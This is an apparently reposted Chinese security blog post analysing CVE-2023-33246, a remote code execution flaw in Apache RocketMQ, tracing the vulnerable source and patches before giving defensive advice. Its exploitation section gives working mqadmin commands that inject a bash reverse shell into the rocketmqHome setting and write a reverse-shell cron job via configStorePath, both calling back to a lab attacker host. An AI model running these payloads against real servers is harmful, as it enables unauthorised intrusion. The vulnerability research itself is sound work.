九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

admin 2024年2月15日19:56:41评论23 views字数 4496阅读14分59秒阅读模式

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

一、漏洞描述

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

CVE-2023-33246: Apache RocketMQ: RocketMQ may have a remote code execution vulnerability when using the update configuration function-Apache Ma644il Archives查看链接:https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp

*左右滑动查看更多

该漏洞的官方描述是这样的:在RocketMq小于5.1.0版本时,当NameServer、Broker和Controller这三个组件泄露在公网,且没有身份认证时,攻击者可以通过更新配置的方式来执行命令。此外,攻击者还可以通过伪造RocketMQ协议内容来达到同样的效果。

关键字是未授权更新配置和命令执行。通过未授权更新这三个组件的配置文件来达到命令执行,java常见的命令执行漏洞有:

  • 反序列化

  • 命令注入

  • 未授权部署任意jar/war

  • SSTI

  • ……

后文将看看本次RocketMq将是以怎样的方式造成命令执行漏洞。

二、漏洞分析

在官方通过升级5.1.1版本前,RocketMq的维护人员就处理了两处issue是跟这次的漏洞相关的。分别是#6749和#6733。

Remove filter server module #6749网址:https://github.com/apache/rocketmq/pull/6749Make configPath unable to update at runtime #6733网址:https://github.com/apache/rocketmq/pull/6733

*左右滑动查看更多

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

其中Remove filter server module是对源代码做了以下更改:

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

直接把FilterServerManager和FilterServerUtil这两个类直接删除。那么让我们先看看这两个类是做什么的。

FilterServerUtil类

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

这个类中有两个静态方法,Util结尾可以看得出来这是一个工具类,在java中静态方法是不用实例化就能直接调用的。

其中public静态方法callshell提供了执行系统命令的操作。先对接收进来shellString参数的字符串通过本类的私有方法splitShlellString进行处理,处理过后将命令字符串类型变成cmdArray数组,然后再用exec()来执行cmdArray中的命令。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

那么往上翻是什么类调用了这个callshell方法。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

可以看到是只有FilterServerManager这个类中的createFilterServer方法中调用了这个callshell方法。跟进去看看。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

createFilterServer方法中我们看到定义了一个int类型变量more,这个more的值根据FilterServerNums()-filterServerTable.size()得到。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

随后又定义了一个string类型的cmd变量,此cmd是值是通过该类(FilterServerManager)的私有方法buildStartCommand()构造的。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

构造后的cmd通过for循环(要more的值大于i才能进入for循环),成为callshell方法的cmd参数,执行cmd这个字符串的系统命令。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

所以说只要我们能够控制cmd这个字符串的话,就能执行任意命令。

那么cmd是通过buildStartCommand()这个方法构造的。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

可以看到最后的if/else是return的字符串,先是做了系统的判断,是windos平台运行的rocketmq就返回windows的命令,否则的话就返回unix内核系统的命令。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

以返回的unix命令为例,固定格式为:

Sh  %s/bin/startfsrv.sh %s

其中两个%s是我们能控制的地方,看代码。

第一个%s是从BrokerConfig中的RocketmqHome的值。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

第二个%s是config的值,这个config在代码上方构造。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

也就是说如果我们如果能控制这两个配置文件中的内容,就能命令注入,达成我们想要执行的语句。

而且creatFilter这个方法是在start方法中调用的,用了一个内部匿名类来定时调用creatFilterserver,只要在初始化了filtermanager,并且调用了start()方法的话,就能一直定时的调用creatFilterserver这个方法,从而一直动态的构造命令。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

接下来看看Make configPath unable to update at runtime对源代码修改了什么。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

针对namesrv、broker和controller新增了对更改配置的一个判断,只要包含相关的字符串,就不能更新配置。随后再通过update方法更新传入的properties。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

其中比较具有代表性的是broker和namesrv的更新,让我们先定位到namesrv的DefaultRequestProcessor类。

更改的代码出现在DefaultRequestProcessor类的updateConfig方法。

下面代码可以看出,原来的代码是没有对更新的配置项进行判断的,也就是说可以更新任意配置。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

跟进update方法,有两个try,其中第二个try中,先将properties中的所有配置进行合并,合并后进入一个for循环。for循环中调用了MixAll类的properties to Object方法,该方法其实就是通过遍历配置文件中的配置项,查找存在以set开头的配置项,如果存在set的配置项的话,就通过比对字符串与原来的配置是否存在差异,是的话通过反射来更新其中的配置项。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

更新完后,通过persist方法来写入文件。通过string to file这个方法写入文件,需要传的参是allConfigs和StorePath。继续跟进该方法。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

其实就是写入两个相同配置文件,一个带bak结尾作为备份的配置文件。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

自此分析完了写入文件的流程,也就是说如果用户能够控制StorePath的值的话,就能够控制写入文件的路径。在RocketMq中StorePath是在程序初始化的时候就确定了的,就是你能修改最后的配置项也无济于事,因为getStorePath有一个逻辑,只有storePathFromConfig这个项为true才会从指定的配置文件中指定的字段获取storePath路径,否则的话将一直按照初始化的路径进行写入。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

所以说为什么在前文说了namesrv和broker这两个会比较特殊,因为namesrv和controller在初始化的时候会将storePathFromConfig设为从指定配置文件获取,而broker没有。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

所以namesrv和controller的利用方法一样。

三、漏洞利用

搭建版本:Rocketmq 5.1.0

漏洞系统环境:虚拟机centos7

攻击机:kali

JDK版本:1.8

因为上面分析的过程,前提都是基于RocketMq能够未经身份验证更新其配置文件。而Rocketmq自己官方就有用于更新配置文件的工具,下面的漏洞利用过程均基于该工具。

sh mqadmin updateNameSrvConfig -k configStorePath -v "/var/spool/cron/root" -n 192.168.131.130:9876

*左右滑动查看更多

工具官方教程链接:

Admin Tool | RocketMQ (apache.org)https://rocketmq.apache.org/zh/docs/4.x/deployment/02admintool/

*左右滑动查看更多

工具官方下载:

https://archive.apache.org/dist/rocketmq/5.1.0/rocketmq-all-5.1.0-bin-release.zip

*左右滑动查看更多

命令注入(攻击broker)

在上文我们分析了要命令注入的两个条件:

1.more>0

(即filterServerNums-filterServerTableSize>0)。

2.改变RocketmqHome的值,构造可以执行命令的语句。

先把filterServerNums配置更改为1。

sh mqadmin updateBrokerConfig -k filterServerNums -v '1' -b 192.168.131.140:10911

*左右滑动查看更多

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

命令注入,更新RocketmqHome的值为:

-c $@|bash . echo bash -i >& /dev/tcp/192.168.131.129/9001 0>&1sh mqadmin updateBrokerConfig -k rocketmqHome -b 192.168.131.140:10911 -v'-c $@|bash . echo bash -i >& /dev/tcp/192.168.131.129/9001 0>&1;'

*左右滑动查看更多

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

源码中执行命令处:

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

至于为什么要这样构造,详细大家可以查看这篇文章,作者写得相当的详细

Java Runtime.exe() 执行命令与反弹shell(下)https://www.jianshu.com/p/ae3922db1f70

*左右滑动查看更多

文件写入(攻击namesrv或controller)

既然有任意文件写入,可以利用该更新配置文件的方式,将RocketMq的默认配置目录更改为系统的计划任务路径,然后再更改配置文件的字段为反弹shell的字段,实现RCE的效果(ubuntu系统不行)。

以namesrv为例。

1.更改配置文件configStorePath为centos的计划任务路径/var/spool/cron。

sh mqadmin updateNameSrvConfig -k configStorePath -v "/var/spool/cron/root" -n 192.168.131.130:9876

*左右滑动查看更多

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

可以看到在服务器的cron目录已经写入了:

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

文件内容是一些配置信息。

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

2.更新其中某个字段的信息,只要有其中一行是换行就能触发计划任务,可以通过n触发换行。

sh mqadmin updateNameSrvConfig -k bindAddress -v "n*/1 * * * * bash -c 'bash -i >& /dev/tcp/192.168.131.129/9999 0>&1'" -n 192.168.131.1309876

*左右滑动查看更多

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

注入效果:

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

反弹成功。

四、防御及加固建议

1.  避免相关端口服务部署于公网当中。

2.  4.x版本用户升级至4.9.7以上版本,5.x版本用户升级至5.1.2以上版本。

3.  添加鉴权机制,只有授权用户才能操作RocketMq相关配置文件。

原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日19:56:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-绿队(改进)| CVE-2023-33246 Apache RocketMQ RCE从0到1http://cn-sec.com/archives/2172180.html

发表评论

匿名网友 填写信息